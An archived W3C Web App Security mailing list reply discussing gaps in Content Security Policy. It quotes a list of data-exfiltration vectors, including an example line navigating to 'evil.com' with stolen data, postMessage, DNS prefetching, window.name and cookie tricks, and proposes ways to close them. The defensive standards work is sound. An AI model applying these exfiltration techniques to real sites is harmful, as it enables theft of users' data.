- From: Anne van Kesteren <annevk@annevk.nl>
- Date: Thu, 8 Sep 2016 12:47:47 +0200
- To: Artur Janc <aaj@google.com>
- Cc: Christoph Kerschbaumer <ckerschbaumer@mozilla.com>, "Hodges, Jeff" <jeff.hodges@paypal.com>, W3C Web App Security WG <public-webappsec@w3.org>, craig.francis@gmail.com
On Thu, Sep 8, 2016 at 12:39 PM, Artur Janc <aaj@google.com> wrote: > - Navigating or opening new windows to the attacker's origin (top.location = > "//evil.com/?data). With this an attacker doesn't need any other techniques > -- it will always work. > - Sending data via postMessage to other windows/frames the user has open > (e.g. the attacker-controlled page in window.opener) These are both navigation and we should figure out a plan. > - Opening same-origin pages/frames (usually same-origin frames will be > allowed) to documents with less restrictive CSP, e.g. error messages, and > then sending out the data from there. Hopefully https://github.com/mikewest/origin-policy goes some way towards addressing this. > - More exotic vectors such DNS prefetching/prerendering which work in many > modern browsers. We should make CSP cover DNS prefetching. I don't understand why it doesn't already. (Prerendering is probably a case of navigation, so can be grouped into the above navigation issue.) > - Timing attacks, application-specific attacks (saving data in the same > origin where the attacker can see it or sending messages to other users -- > often possible in complex applications), sending data to any whitelisted > origins (e.g. analytics services which let the attacker see request > parameters), saving data in window.name, saving it in document.cookie scoped > to the whole origin (.example.org), etc. Some of these can stopped using same-site cookies I think. Not sure about the others, but we should try to plug those too. -- https://annevankesteren.nl/
Received on Thursday, 8 September 2016 10:48:15 UTC